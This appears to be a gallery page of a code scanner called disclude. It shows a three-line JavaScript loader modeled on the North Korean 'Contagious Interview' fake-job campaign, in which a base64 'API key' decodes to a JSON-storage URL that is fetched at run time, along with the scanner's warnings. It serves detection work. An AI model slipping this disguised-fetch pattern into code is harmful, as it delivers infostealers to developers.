disclude.io

Gallery

Fake job interview

In the Contagious Interview campaign, attributed to North Korean actors, fake recruiters ask developers to run a coding test. The project carries a base64 string presented as an API key; decoded, it is a URL on a JSON storage service, and the fetched JSON carries the next stage, such as the BeaverTail infostealer. This is the shape of that loader in three lines. disclude reports the base64 blob and the atob that decodes it at run time.

Credit
Pattern of the Contagious Interview campaign, as reported by NVISO (2025)
File
recruiter.js (download)
Signals
0 critical · 2 warn · 0 info
Disclude version
4.3.0

Source

Hidden characters are shown as ⟨U+…⟩. Each signal below links to its line.

exports.locationToken = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9VVkVYSA==";exports.setApiKey = (s) => { return atob(s); };exports.verify = (api) => { return axios.get(api); };

Signals

Ordered by severity.

  1. warn encoding-base64 recruiter.js:1:26

    base64-like blob (48 bytes, compression ratio 1.23) (raw pass, confidence 0.60)

    exports.locationToken = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9VVkVYSA==";
exports.setApiKey = (s) => { return atob(s); };
exports.verify = (api) => { return axios.get(api); };
  2. warn dynamic-execution recruiter.js:2:37

    `atob` decodes a base64 value at runtime — common step before dynamic fetch or eval (ast pass, confidence 0.75)

    exports.locationToken = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9VVkVYSA==";
exports.setApiKey = (s) => { return atob(s); };
exports.verify = (api) => { return axios.get(api); };

Reproduce

Download the file and scan it. Copying it from this page won't work: the hidden characters are shown as markers.

cargo install disclude --version 4.3.0
curl -o recruiter.js https://disclude.io/gallery/recruiter/source
disclude scan --untrusted --severity info recruiter.js